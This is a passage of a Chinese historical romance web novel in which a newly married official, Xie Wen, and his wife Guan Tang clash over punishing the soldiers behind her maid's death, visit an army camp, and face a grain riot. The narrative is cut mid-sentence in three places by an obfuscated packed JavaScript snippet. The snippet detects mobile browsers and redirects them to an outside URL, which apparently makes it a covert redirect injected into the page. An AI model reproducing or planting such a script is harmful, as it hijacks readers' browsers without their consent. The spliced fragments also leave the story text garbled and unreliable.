他嘴上说着，心里却不由想起他穿这身官服今晨去见观棠的事，他当时满身泥泞，还上手扶了她一下。 这时，德庆挂好了金鱼袋和玉佩，说：“郎君，都妥当了。” 谢闻行至镜前，理了理交领，随后走出屋子，沿着廊庑往东屋去，没走几步却听身后有人快步赶上来，谢闻回过身，见来人是岑禄。 岑禄行了个礼，说：“大人气色瞧着比昨天夜里好多了。” 其实拢共也没有合眼几个时辰，但听岑禄这么一说，谢闻才发觉自己眼下精神确实不错，于是微微颔首道：“可有事？” 岑禄听他这么说，微微一怔。他本就是个极会察言观色的谋士，昨天夜里听说谢闻带人去了粮仓，但并没有让他同往，岑禄当时便觉奇怪。今天早上左等右等等不到谢闻的通传，想着不如先来候着，不料谢闻待他竟如此冷淡。 他不知谢闻因何事对他如此，心中惴惴，却见谢闻从衣袍里掏出一封信递了过来。 “这是我在象州遇刺后抓到的两名刺客的口供。你看看该如何回复象州防御使。” 言外之意，便是要他今日好好在官驿里呆着。 岑禄心中虽疑虑颇深，又见谢闻并未着官服，便不再说什么，双手接过了信函告退。 见岑禄离去的背影远了，谢闻道：“这段时间先不要叫夫人与岑禄相见，你留心些。” 德庆后来听谢闻说岑禄当时所打那人便是观棠时，有些懊恼和后怕，此刻自然点头应是。 两人走到观棠的屋外，是齐康和谢闻有些眼生的另一个年轻男子在门口守着，二人见到谢闻纷纷行礼。 “郎主。” 谢闻见齐康低着头，他身旁的年轻人倒是十分鬼灵，一直用余光偷偷看他，于是清了清嗓道：“我要见你家……”没想到一开口说话，起头便岔了。 若说是“你家小姐”，他二人倒成了未婚夫妻。若说是“你家夫人”，更是大错特错。 如果头脑机敏的何昉在他身旁，总能替他接过这话，但他身后站着个高壮的木头人似的德庆，谢闻只好有些僵硬地改口道：“进去通传一下吧。” 齐康听了却心下暗叹，这经略使连夫人都不愿意称呼了，恐怕栾慧昨日所为当真让他二人生出嫌隙。 他边想着边转身推门进去，未将门阖上，过不一会儿听见有脚步声往外来，谢闻以为是齐康出来了，正抬脚迈步，迎头却撞上了观棠。 谢闻不知该如何形容这种感觉，明明是他要来见观棠的，可是当她真的出现在自己面前的时候，他竟感到了一丝局促和尴尬。 相较于谢闻，观棠却十分淡然，浅行了个万福礼，动作幅度不大。她穿着一件沉香色的半臂短孺，下身着青、白相间的间色裙，蹲身行礼时，裙摆飘荡，好似山间晨雾一下被吹散，露出了层层峰峦。 观棠淡声道：“官人。” 谢闻原本定了的心神听了这称呼，又有些恍然，但他很快背过手道：“我听说你想去兵马营寻人？是何人？” 观棠抬头看向谢闻，点了点头，说：“是的，我想见见那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280791|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日抓走青红的人。” 见她的语气里透着一丝理所当然，谢闻不着痕迹地皱了皱眉道：“我忘了同你说，兵马营都监已经被收押了，他的事我会上报枢密院的。” 观棠出生武将世家，自然知道上报枢密院意味着什么，但她面上却纹丝不动，反倒刻意添了几分耐心和礼数，说：“我知道，可是抓走青红的并不是兵马营都监。” 二人对视半晌，最后，谢闻将头偏到一旁，说：“这件事我无法助你。” 其实观棠并不意外谢闻的回绝，她很快道：“当日兵马营出动了不少人去郁江畔，除了兵马营都监，旁的人你还有羁押吗？” “梧州根基未固，我已经拘拿了州衙不少的官吏，若再大肆抓捕官兵，于大局无利。就像昨天我同你说的，徐继昌等人牵扯太多，不光是在梧州，他在各地的关系都盘根错节。其势虽倒，其用未尽。我能向你保证的是，待局势稳定，无论这些官兵是被蒙蔽胁迫，还是知情参与，我都会一一揪出来处置，但……不是现在。” 观棠听到这里，冷笑了一声道：“自来都是，将在外，君命有所不受。我不信那些到场的兵卒竟不知自己是在助徐继昌他们杀人。”随后她的声音愈发冷了起来：“况且，我也不是要你缉拿当日在场的所有士兵，我只要抓走青红的那几人。” 她身后站着钟嬷嬷、采禾等人，纷纷为观棠和谢闻的这番对话捏了把汗。 她们都是亲历了那日景况之人，青红又死得实在惨烈，但观棠和谢闻自大婚后才重逢不过两日，就已经生出了这么多事端。 要知道，他二人可不是官场上针尖对麦芒的朝臣，而是以后会同床共枕、相互扶持的一世夫妻。 然而，尽管在场诸人心中都知道，这二人的争执恐怕会进入到一种无法挽回的境地，却也只能保持缄默。 “谢少行，今日你应或不应，于我而言其实并无分别。纵使你统领广右兵马，我也有手段将他们一个个揪出来。”女子的声音冷得像玉石相击，又见她微微扬起下颌，一种难以言说的世家冷傲乍现，清透的眸子染上了一丝愠怒，观棠道：“你莫忘了，我姓观。” 到如此，观棠的这番话算是彻彻底底惹恼了谢闻。 仿佛是被气笑了，男子唇角微勾道：“是，观家威名在外，谢某怎会忘记。” 他说这话时，脑海中想的却是当年的广陵书院案。 若非眼前的观氏女和她的兄长，范夫子又怎会替他枉死……思及此，他又想起当年那个行迹不明的法书师。无论是状告此事的提举学事司的学官，还是当年弹劾新党的旧党，谢闻都已一一施以报复，唯有那个观家的法书师，仿佛消失了一般，再寻不到踪迹。 孙师同他说，此人大抵是被哪个旧党中人揽入麾下，成了其门下客，由此才能隐姓埋名。当然还有另一种可能，就是被观家护下了来，毕竟这件事当时牵连甚广，观家自然想从中摘干净。 再看向观棠的目光里也就多了一丝不堪的厌烦，不光是厌烦观氏女这样滥用权力的世族之辈，更深恶，还未替老师报得大仇的他自己。 “你要找人，可以。想用什么法子，也随你。但唯独不能是现下。这两日你便在官驿好好修养，过两日，姜虞候几人能动身了，我会命人将你们护送回静江府。” 观棠皱起眉头，这谢经略的言外之意，竟是想将她软禁在官驿里？ 30.第 30 章 然而，不等她反应过来，这人竟径直往屋外走了。 几乎是下意识的，观棠上前一步伸手攥住了谢闻手腕。 女子的指尖温热，像是一块暖玉贴在了肌肤之上，力道不轻，莫名有一种坚石之感。 “你当真要这么做？”观棠道。 隐约感觉到身侧伤口传来疼痛，谢闻停下了脚步，回头看向女子。 她的神情并不如他所想那般激愤，一双清亮的眼睛，蕴藏着一种令人难以忽视的毅然，仿佛在说她定能挣脱来自他的桎梏。 不光是他，也是这世间的任何人。 谢闻想，是啊，她是能从徐继昌封锁的梧州城里逃出来求得一线生机的人，又岂会依他所言好好地待在这官驿中。 想到这里，他微微闭了闭眼，再次抬眸的时候，开口道：“你们都先退下，我和……夫人要单独相谈。” 众人便纷纷离开屋内，钟嬷嬷向观棠投来一缕担忧的目光，随后阖上了屋门。 周遭蓦地安静了下来，光线也变得晦暗不明，方才激烈的言语对抗像被抵在那门扉外头的光线，只留下二人有些急促的呼吸声，在这片狭小的空间里清晰可闻。这种突如其来的静默反倒比先前的争吵更令人心慌，仿佛有什么东西在他二人心中无端地拉锯着。 “我想和你说一件事。”似终于下定决心，谢闻开口道：“若你同意我的处置，我可以让你去兵马营里寻人。” 观棠听了心弦一紧，问：“什么事？” 屋外，德庆倒十分识趣，一人远远走到了廊庑下头站着。杨季安狠瞪了他一眼，撇了撇嘴对齐康道：“齐大哥，听说那日抓青红姐走的有五六个人，就连这几个人谢经略都要护着？那以后夫人治家，岂不是事事都得听他的了。” “内帷之事是内帷之事，你才几斤几两，就敢在这里妄言！”钟嬷嬷喝止道。 杨季安不忿，正要回嘴，正巧栾慧进了院子。 栾慧一早起来便被观棠叮嘱去安排车驾，未料到这梧州官驿竟没有可用的。他在衙城转了许久终于赁到一架，这个时辰才回来，远远看见众人都堆在门口，便阔步走了过来。 他环视了一圈，见钟嬷嬷和采禾等都在屋外，正觉奇怪，齐康朝他使了个眼色，将他拉到昨日谈话的屋檐下，将方才发生的事情说了。 “我看你昨天和谢大人说的那番话，实在是适得其反了。”齐康叹了一声。 栾慧被他这么一说，心头更加不安，望向了紧闭的屋门。 屋内，说完昨日岑禄误伤她一事，谢闻迎着女子的目光了看过去，然而，他预想中的愠怒却并未出现。女子片刻怔愣后，眼神甚至里带上了几分茫然和疑惑，仿佛方才听见的只是一件与自己全然无关的事。 “怎么，难道这其中另有隐情？”他忍不住追问了一句。 过不一会儿，观棠缓缓开口：“你的意思是，昨日伤我的是你身边之人？” 沉默片刻，谢闻点了点头。 观棠没有再说什么，只是静静地看着他。 时间仿佛在这一刻凝滞，旋即，一股难以名状的感觉出现在谢闻的胸口。就好像被幽凉的郁江江水一点一点从脚踝攀上腰际，眼前女子看他的眼神，竟使他感觉到了一种被江水淹没的窒息感。 女子开口，声音清冷：“所以，你是想同我做交易。” 舌尖抵在下颚，竟带来一丝苦涩感，谢闻道：“若你愿意将此事就此揭过……” “好。”观棠打断他的话，很快又补了一句：“条件是，那些抓走青红的人将任我处置，你不会再过问。” 她情绪骤转，应得如此干脆利落，反而让谢闻有些措手不及，甚至产生了一种错觉，仿佛她一早就料到了他要说什么。难道说，栾慧已经同她讲了这件事？不会，否则刚才她拦他时就会趁机发难。 一种强烈的不安感瞬间击中了谢闻。 明明这场交易是由他提出来的，但不知为何却有种被观棠反客为主，掌握主导权的感觉。 于他而言，这是一种就连在波谲云诡的朝堂之上都未曾体会过的滋味。百转千回间，谢闻一时不知说什么，只好再次点头。 这时，观棠说：“我虽为经略使夫人，但提兵马营的人走，到底还是需要你的手令。” 她这是要他的文书保证了？ 倒真是……事事周全。 见眼前的男子久久未回应，观棠蹙眉疑道：“难道你想反悔不成？” 深看了观棠一眼，谢闻说：“不用手令。你既然要提走这些人，并且不想让别人知道下落，最好不要留下任何痕迹。” 他的话让观棠更加疑惑，但很快，谢闻便解答了她的疑惑：“我亲自陪你走一趟兵马营。” 只是当观棠带着钟嬷嬷等人出了官驿，正要上马车时，却见谢闻跟在她身后，看样子竟是想要和她同乘一辆马车。 有些惊讶，观棠张口道：“他们没有给你备马吗？” “我身上有伤，不方便骑马。”谢闻淡淡道。 她上下扫视他一眼，回想起清晨谢闻来时，屋子里那阵若有似无的膏药味。 原来并非错觉。 但她还是很快皱起眉头道：“能否再备一辆马车，我要带着钟嬷嬷和采禾，若与你同乘，实在有些不便。” 谢闻侧头看向德庆，后者道：“郎君且稍等，我找人再去赁一辆。” 见谢闻竟毫不反对地朝德庆颔首，观棠怕再等下去又生变数，提议道：“那……那不如我骑马吧。” 她会骑马他倒不意外，京中不少贵女都流连马场，但谢闻知道，观棠是实在不想与他同乘马车。 “经略使坐在马车里，夫人却孤身骑马。到了兵马营，倒是能让这些人说上三五日。”谢闻淡淡道。 她知道谢闻说得在理，他二人的姻缘乃天恩御赐，便是为着官家的颜面，也得在外人面前粉饰太平。 于是观棠只得对钟嬷嬷道：“嬷嬷，得劳累您和采禾了。” * * * 他们一行人在数日积水的坑洼路面上走得十分慢，又有仆妇和兵马随行左右，整个队伍行进间得极其缓慢。 狭小的车厢里，谢闻坐在正朝着车门的位置，观棠坐在他的右手，身子与他挨得极近，却以一种截然相反的姿态将头扭向车门那一侧，只留给他一个疏离的侧影。两人之间好似隔着一道无形的墙，比方才在屋内还看不见彼此。 明明他二人都达成了彼此的目的，却都有种无法宣之于口的感觉，仿佛食不知味。 更令观棠费解的是，为何谢闻要亲自陪自己去兵马司。明明他提笔写几个字，自己去提人便好，何苦来和她挤在这闷热逼仄的车厢里。 思来想去，却还是拿不准此人。 这谢少行因连中三元名动天下，在京中待阙不过两月，旋即被授为昭文馆直学士，足见圣眷隆重。然而在观棠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283929|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看来，他也因此被推到了风口浪尖上，成了明晃晃的对付新党的靶子。 新政若有功，功在朝策，新政若有罪，罪便只在他一人。 若谢闻真有大才，当蛰伏多年的新党将他猛然推到众人面前时，他也应当有所保留。但按照此人今晨来自己屋内所说，观棠直觉，他是真的愿意舍掉自己，去当官家和新党手中最锋利的一把刀，在广右的土地上划开一道口子。 可惜，这样的人下场往往都很惨烈。 她一陷入思考，身子便不由自主地放松了，这时，马车轱辘翻腾滚过一个水坑，车厢内陡然颠簸。 观棠平日里总是坐在如今谢闻的位置上，自然习惯性地向后去贴着车厢壁，然而，身体带来的下意识反应却让她撞上了一个坚实的胸怀。 却听身后男子闷哼了一声，仿佛吃痛。 观棠这才想起来，他先前说他有伤，于是赶忙移开身子坐到了另一侧，面朝着谢闻道：“对不住。” “无事。” 男子的声音似在隐忍不发，观棠见他脸色骤然变差，忙道：“你先前说你受伤了，难道伤在了胸前？” 见他并不言语，观棠心道，这人带着这么大队人马来的梧州，又没有听说兵马被匪患拦截，怎会受伤？除非……有人行刺？ 想到这里，她猛然抬起头。 阴雨连绵多日，此刻竟意外放晴。几缕日光透过车窗照在男子面上，在这光影流转的半明半昧间，观棠惊觉，她与谢闻之间竟只有不到一臂的距离，而方才那堵树立在二人之间的墙，竟好似也无声无息地消散了。 但她很快坐直了身子，并收回了目光。 这时，身侧的男子似乎才缓过劲儿来，低声道：“是在胸口，不过并无大碍。” 观棠抿了抿唇，说：“我还以为……你是左臂受的伤，先前拉到你的左手，感觉到你似乎有些不适。” 这下谢闻真有些诧异了，他未料到观棠竟如此敏锐，仅凭一个动作就猜到他受伤了。过了一会儿，他低声道：“岑禄一事，实在抱歉。” 他这番话出来，观棠却转头看了过去。 “谢少行，我恐怕将你想错了。” 两人四目相对，看着女子澄澈的眸子，谢闻竟由一瞬的失神，仿佛突然回到了在广陵书院的那日，他第一次见到观三娘的那天。她在兄长观晏身后闻声抬眼望来，也是用这样一双清透如水的眼睛，在他脑海里烙下了连自己都未曾觉察的印记。 “我去兵马营，是为了全我心中对青红的亏欠。岑禄一事，是他对我亏欠。即便我不是经略使夫人，我是个无名百姓，或是个流民乞丐，在那种情况下，你的手下也不该肆意打人。若你将我视作你的发妻，自然会在告知我之前先严惩此人，再替他寻个机会求得我的谅解。” “我想，你我的这桩婚事，实在已经很难做到相敬如宾了。”她语气太过平常，仿佛只是在讲述一件再普通不过的小事。 谢闻闻言，身形几不可察地一僵，伤口深处也在隐隐作痛，连带着他的头顶好似被一根线拽着，生疼。 “你同我只相处这短短两日，恐怕都觉得很是勉强吧？既如此，不若抛开这夫妻虚名，从今以后，我们各行其是，便如那商贾，银货两讫，目的分明，反倒轻松。你觉得呢？” 女子声音愈发轻快，相较而言，谢闻却觉得自己的下颌愈发绷紧。他想说些什么，但素来能言善辩的他此刻竟哑口无言。 31.第 31 章 观棠方才说了那番话后，心头竟不知不觉开始怦怦直跳。 但她也承认，能够对谢闻讲这些话，她的内心是有一丝痛快的。 自大婚那夜谢闻毫无缘由地以“实若参商”与她划清了界限，南下这一路来的不闻不问，再加上自己在梧州所遭受的一切，失去青红……以及他用岑禄这件事来同她做交易，观棠愈发坚定，谢闻不是她能托付终生之人。 兵法有云，致人而不致于人，她的伯父也常说，战场之上，不在乎兵马利器人数众否，关键在于如何掌握主导权。敌人进攻，是你让他来攻。敌人撤退，也是你允他退。 先发制人，才能掌握最终胜利的先机。 方才登上马车之前，谢闻暗中提醒他二人要维护官家颜面，既然他在乎的只是外人眼中的和睦夫妻模样，那么关起门来是怨偶还是陌路，想来他也不甚在意。 因此，观棠才决意赌这一把。若谢闻肯点头允她从今往后各行其是，那在广右接下来的数年里，她便真正得了海阔天空，能凭自己的双手去做她想做之事。 在等待谢闻回复的这段时间里，她愈发忐忑。 面前的男子靠着车壁，大半个身子都隐在昏暗的阴影中，但观棠却能清晰地感知到，两道深邃的目光自那片晦暗中穿出，一错不错地落在了自己身上。 就在她准备再说些什么好打破这令人窒息的气氛时，谢闻嘴角牵起一抹淡漠的弧度，说：“那就依你所言。” * * * 到了兵马营，观棠和谢闻先后下了车。 他二人都是喜怒不形于色的人，无人看出这一路来车内发生了什么。 柳州厢军的统领马勰没有被提前告知，见谢闻骤然携观棠来此，倒是吓了一跳，说明来意后，马勰命人带众人先去营房暂歇，他派人去寻那几个人。 这时，见身旁的采禾有些焦躁，观棠对谢闻道：“可否让我的丫鬟去认一认人，也好没有疏漏。” 谢闻看了一眼采禾，对马勰道：“你领着她一道去吧。” 但观棠不放心采禾一个女孩子在兵营里走动，便让齐康去陪着照应。她吩咐完，见谢闻又在同马勰低声说什么，便径直走到一旁坐下了。 几人离开以后，屋子里变得安静了些许，营房四角散发的霉臭味也愈发明显。 观棠轻咳了两声，起身想要出去透透气，却见方才坐下的谢闻眼眸低垂，不知在想什么。他面色沉郁，紧抿着唇，周身的气场凝着一股子生人勿近的意味，于是只好起身在屋内四处走走看看。 营房东西两面的墙边森然罗列了各类兵器，观棠想起儿时曾随堂兄姐去过一回延州兵马营。延州当时是她伯父苦心经营之地，营内的规格与整备自然高出此地不少。 目光扫过步兵所用的步槊、梭枪、锥枪，种类倒也齐全，也许是用于陈列疏于保养，又或许岭南之地的潮气无孔不入，那铁枪的枪头与木柄交接处有丝丝缕缕的铁锈渗出。 栾慧也在一旁，正看那挂在墙上的弩机，他好奇伸手探了探，扳机竟在他手下脆如薄纸，随后只听“砰”一声响，连里面的拉弦都崩断了。 这声响动自然引得屋内人都来看，钟嬷嬷低喝了一声：“栾慧！” 栾慧收起手，但不知想到什么，张口道：“我看这兵马营的兵器刃不利，弓无固，难怪前几年交趾来犯时会连吃败仗。” 自青红遭遇了那样的事以后，栾慧深恨此地。他与观棠在罗城内做了那么多的事，施粥济贫，疏浚水道，日夜不休，换来的竟是一场冷眼旁观的生人祭。 善行最终结出恶果，实在是莫大讽刺。 谢闻却突然起身走到了弓弩旁，仔细端详了起来。他这一举动倒令栾慧回过了神，他看一眼站在兵器架旁的观棠，见后者轻轻朝他摇了摇头，这才意识到自己说错话了。 栾慧拱手告罪道：“大人，我不是有意……” 谢闻抬手止了他的话头，对身后的德庆道：“把这个机弩带回去。” 观棠不知其意，上前两步道：“此地水汽氤氲，兵器因此腐朽得快一些，栾慧并非故意损毁营中兵器。” 谢闻听见她的话，转过头，见她急切为栾慧开罪，他竟觉得胸前的伤口又隐隐作痛。 过了一会儿，谢闻淡声道：“夫人，这机弩是今年才发往各兵马营的，即便是数日下雨，也不该如此易坏。我是想带回去命人看看其中是否有蹊跷。” 观棠听罢稍松口气，这时，马勰也正好带着几人回来了。 “大人，夫人，都找出来了，一共六个人，现在都在营房外头候着。” 观棠见采禾回来了，将她拉到一旁道：“没吓到你吧？” 采禾摇头道：“夫人，没什么可怕的，他们只是被关在屋子里，我只去了两间屋子就将人都认出来了。” 观棠听她说完，回眸看向谢闻，似在用眼神征询他是否能就此将这些人带走。 迎着她的目光，谢闻头也不转地对马勰道：“将这几人暂押到一处，我回头自有发落。” 观棠不知谢闻葫芦里卖的什么药，却见他已经开始朝屋外走，立刻跟了上去。只是离开营房几步后，便见谢闻似要上马。 观棠伸手拽住缰绳，拧眉道：“谢大人，这是否和我们当初说好的不一样？” 谢闻深如沉渊的眸子静静地看了一会儿她，随后说：“你领这六个人走实在惹眼，再过几日，待你离开静江府，我会命随行之人带上他们。” 观棠闻言，指尖下意识一攥，掌心缰绳紧收，未料那玄色的坐骑当即昂首嘶鸣了一声，眼见着要抬起前蹄，谢闻见状，立刻伸出右手去握缰绳。 他的手覆在观棠的手上，将马儿安抚的这几息里，观棠惊觉此人的手掌心滚烫异常，抬目望去，男子的呼吸也有些沉。 趁着马儿平息，观棠将手抽了出来，但还不待她问询和言谢，这人便已经翻身上了马。 “我还有些事，夫人自行回官驿吧。”说完，他便带着身后的德庆等人离开了。 眼前马蹄翻飞，激起水花，大队人马竟是像要赶着出城。 观棠未细思，只觉谢闻这一走也好，她正准备去罗城看一看赵令羽，顺路将达妍昭带回衙城。 * * * 半个时辰后，马车在药铺门口停了下来，见观棠从上面下来了，赵令羽的手下连忙去报。 两人只是一日多未见，但想到其中发生的那些事，竟都有种恍如隔世之感。 “昨日夫人您和栾慧骑马走以后，我和我的手下便再寻不到马，赶到江边以后，经略使已经将您带走了。”赵令羽叹了一声，“回来后我们发现，罗城内关于厄母娘娘现身的谣言更是甚嚣尘上。” 观棠听见他最后那句话，怔愣了半晌，随后道：“赵队将，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292415|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能识文断字，又深谙禁军的操练之法，我想知道……你的过往究竟如何？” 骤然听见她的问话，赵令羽脸上显现出几分不自然，说：“夫人，我幼时家里给我请了西席开蒙，后来家道中落，我就参了军，因贪小利私贩了东西，所以……” 观棠对他的这番话将信将疑。她其实有心想将赵令羽纳入麾下，但此人到现在都还有所保留，她便不好开口。 两人商议了一会儿如何安排接下来的事。 “我已经找好了船，再过两日就带人返回水寨。” 观棠闻言点点头，说：“再有几日漕船便到了，我会先从梧州粮库调粮给你们，总不好叫大家伙在外面经历了这一遭生死却空手而归。另外，你记得将水寨中那些已经役满多年的兵士名单誊录好，我会亲递给经略使。” 她自应下戎墟水寨那三百石粮食之约起，便已决意先向谢闻借粮，自己再用嫁妆从他处购入还给谢闻。只是想到谢闻，不知他此刻人在何处…… 他二人说完话，出来在院中见到牵着达妍昭的林二。达妍昭一见到观棠便扑了过来，死死地抱着不撒手。这孩子的个头不高，双手环抱着她的腰间，观棠摸了摸女孩毛茸茸的鬓发，笑了笑说：“好了，待一切定了，就能送你回家了。” 林二递了个眼神过来，观棠知道他有话要同自己讲，便将达妍昭交给了钟嬷嬷和采禾。她二人知道观棠要带一个夷族女孩回官驿，但见她生得与汉人无异，只是开口说话都是她们听不懂的话，便只能笑笑牵走女孩。 林二说：“夫人，我问过达妍昭了，她父亲是羁縻商，在此地做生意。城中淹水那日，她醒来时父亲就不在家中了，一同离开的还有……她的弟弟。” 观棠对于达妍昭一人出现在那屋顶有诸多猜测，唯独没料到是这种境况。 “那她母亲呢？” “她说她母亲很早就去世了，至于这弟弟……也是他父亲续弦所生。” 观棠听完，沉默了半晌。他们自将达妍昭带回药铺后，就在城中留意寻觅家人的人，但这其中都没有达妍昭的亲人，看来她的父亲是真真切切地在灾难前将他的女儿抛弃了。 “夫人，如此您还要带走达妍昭吗？”林二问，“其实留在我这里也缺不了她一口饭，况且万一她父亲日后回来……” 观棠道：“你又不是药铺的东家，如何做得了主？我先将她带在身边吧，日后若她的父亲真的寻来了，你便让他自己来静江府接他女儿。” 观棠说到这里，语气冷然，不过她和林二心中也都知晓，达妍昭的父亲大抵不会再出现了。按大兆律，生子不举乃重罪，若他知道是一个官家夫人带走了他的女儿，如何敢现身讨要。 午后，观棠带着达妍昭回到官驿，让齐康带着杨季安去罗城找找看有没有既会苍梧话又会汉话的女子，能教她说些本地化，同时还可以教教达妍昭汉话。 他二人出了门，不料没过多久，杨季安一人折返了回来。 “夫人，齐大哥让我速速回来禀报，说衙城内有大批民众聚集在粮仓之外，嚷着要官府开仓放粮，不知是听什么人说的鬼话，说这城内官粮本就撑不过三日了，罗城的人再一进来就更不够吃了，正闹事呢。” 观棠听了这话，心道不好，答应了赵令羽两日后给粮，若所剩官粮连当初徐继昌所言的漕船抵达的日子都撑不到，又该从何处调粮？ 32.第 32 章 粮仓一时兹事体大，观棠左思右想，觉得不能光在此坐以待毙等谢闻回来，便命采禾研磨，想要写两封信递出去。 达妍昭自来到官驿以后便有些闷闷不乐，在药铺时，林二和小学徒都会苍梧话，但到了观棠身边却无一人能言，此刻她见观棠在桌前提笔书写着什么，便悄悄扒在桌边看。 半张脸藏在桌子后头，只露出一双黑润的眼睛，滴溜溜地看着桌上的纸和笔墨，观棠见状扬唇笑了笑，抽出一张新纸，转动毛笔，开始在上面作画。 达妍昭目不转睛地看着她的动作，观棠的笑意随着笔下的勾勒出来的鸟儿愈发灵动鲜明，然而，当最后一道流畅的弧线勾勒完毕，一只栩栩如生的小鸟跃然纸上时，她仿佛突然想起了什么，脸上的笑容瞬间凝固。 达妍昭的目光只在纸上，并没有瞧见观棠神色僵硬。 过了片刻，观棠面色如常，将桌前的画纸抽出递给了达妍昭，后者捧着小鸟喜不自胜，方才笼在女孩周身的点点愁绪散去。见她如此开心，观棠又命采禾再拿些纸和笔过来，让她二人在一旁随意画些小玩意儿。 采禾与达妍昭虽不通言语，无法交流，但靠着纸笔，过不一会儿便笑闹了起来。 观棠手握笔尖虚悬在纸上半晌，迟迟未能落下一字。耳畔传来如铃铛般清脆的笑声，方才画的那只鸟儿令她想起曾教她作画写字之人。 七年前，那件事发生后，父亲严令家中再提及此人，随后焚毁了她所誊录的哥哥在广陵书院的所有笔记。 观棠当时以为，此人会彻彻底底地消失。 隔了几月，她与母亲上街，母亲选衣耗时颇久，她等得实在无趣，便借口要去对街的文房铺子买些纸笔。 到了铺子里，观棠立刻被五颜六色的蜀笺吸引了目光。那笺纸上绘有人物花木和禽鸟昆虫，格外精美，她满心欢喜，准备多选几个改日好送给幼茵姐，眼前倏然多出些光亮，原来是有人掀开铺子的门帘进来了。 观棠下意识抬头看了一眼。 来人一身锦袍，穿着打扮比在她家中授课时还要华贵些。她未料到会在此地与他重逢，更未料到发生了那样大的事，他竟还能留在汴京。 莫非……此人已攀得高枝？ 看着眼前之人，薛潜感觉自己好似被钉在原地，寸步难移。这时，女孩避如蛇蝎的目光像利刃一般陡然刺向他。 仿若梦中人，此刻才带着惊痛转醒。 旋即，男子嘴角扬起一抹讥诮的笑，大步上前道：“怎么，见到我也不喊老师了吗？” 观棠并未同他多言，只是带着林嬷嬷和青红即刻离开了文房铺子，回到帛铺前，她叮嘱二人不要将此事说出去。她们与观棠本就同心，与薛潜的这次照面再无人知。 那也是她最后一次见到此人。 观棠深信，薛潜已经投入汴京某人的门下，只不过她为内宅女，难以寻人打听他的下落。过了几年，新帝开恩科，观棠特特看了一眼新科进士的名单。 此人学识过人，倘有京中豪族借其势，或许便可扶摇直上。不过她看了几遍都未找到薛潜之名，若非改了名字和籍贯，此人就还是未入仕的白身，如此，她也算松了口气。 她还记得，当时的自己并未十分在意前三甲，一门心思都在寻找薛潜之名上，更不知道榜上连中三元的谢闻日后会成为自己的夫君，只不过，命运往往就是如此爱捉弄人。 观棠将信写完，令齐康寻人送出去。一封是递给秦风路伯父的，另一封则递到了她的姨母那里。姨母当年嫁与河东路的并州通判之子，她那位姨夫无心举仕，然一到了商贾之事中，便似如鱼得水，将生意做得风生水起。 十五年前，她的伯父观闳率兵从大兆西面的高昌收回河湟，耗时六年，所费人力物力甚多。 当时大兆国库空虚，军队粮草调用紧张，北边另一支部族大藩又趁乱突袭河东，光宗在朝，推行了一项名为“入中法”的国策。 此策以商人自筹粮草军需运往边关，来换取等额的盐、茶、香药等专卖权未核心。由此，国库无需支出分文，仅凭一纸盖印的盐钞茶引，便可使边境获得源源不断的补给，而观棠的姨夫正是借着这入中法大举发家，成为了河东巨贾。 她书信与姨夫，是想以自己的嫁妆作资材，托他购入一些粮食运来广右。另一封给伯父的信则告知了他这几日在梧州发生的事，这是观棠离开延州前与伯父商议好的，若有大事可即刻去信，他到底是坐镇西北的大将，总能协助一二。 广南西路如此不太平，她还是需向伯父请教一些日后行事的法门。 两封信写完递出去，已经日头西沉，并无谢闻归府的消息，倒是齐康带回来了一个衙城大户的下人，说是听说经略使夫人要寻人，便将自己家的丫鬟和卖身契一道送了过来。 观棠未料到齐康竟将此事通传了出去，只好命人包了些银钱和卖身契一道送回了府中，说暂用这丫鬟几日，不会带她去静江府。 第二日起来，观棠才知晓谢闻竟彻夜未回官驿。她倒也不甚在意，让钟嬷嬷去安排早膳，和达妍昭等人一并用了。 这天姜丕身体恢复得差不多了，便请栾慧带他来同观棠问个安。 观棠许久未见他，只觉姜丕从前方正饱满的面庞已深深凹陷，颧骨也凸了出来，想来在牢中受了不少磋磨。细看之下，那双眸子仍炯炯有神，到底是多年锤炼的习武之人。 然而，在听说与他交情最深的文四失去下落，李通判亦不幸被害后，眼前的武夫抬手重重抹了把脸，低啜了一声。 “陛下命我来保护夫人，不料就连此地的一个小小知州都敢……” “自古以来皇权便难以下治，各地豪右、宗族掌权，轻易撼动不得，也不光广南西路如此。”观棠借此话宽慰姜丕，作为御前侍卫的他被徐继昌关入牢中，自然颇感挫败受辱。 “姜虞候，你回京复命后，我倒是希望你能将所历之事向陛下一一陈情。我想，陛下听完你所言，并不会直接降罪于广右诸人，但以后谢经略在此地行事应当能更自如些。” 姜丕虽不懂其中门道，但见观棠言之凿凿，点头应是。 他二人说过话，姜丕起身告退。 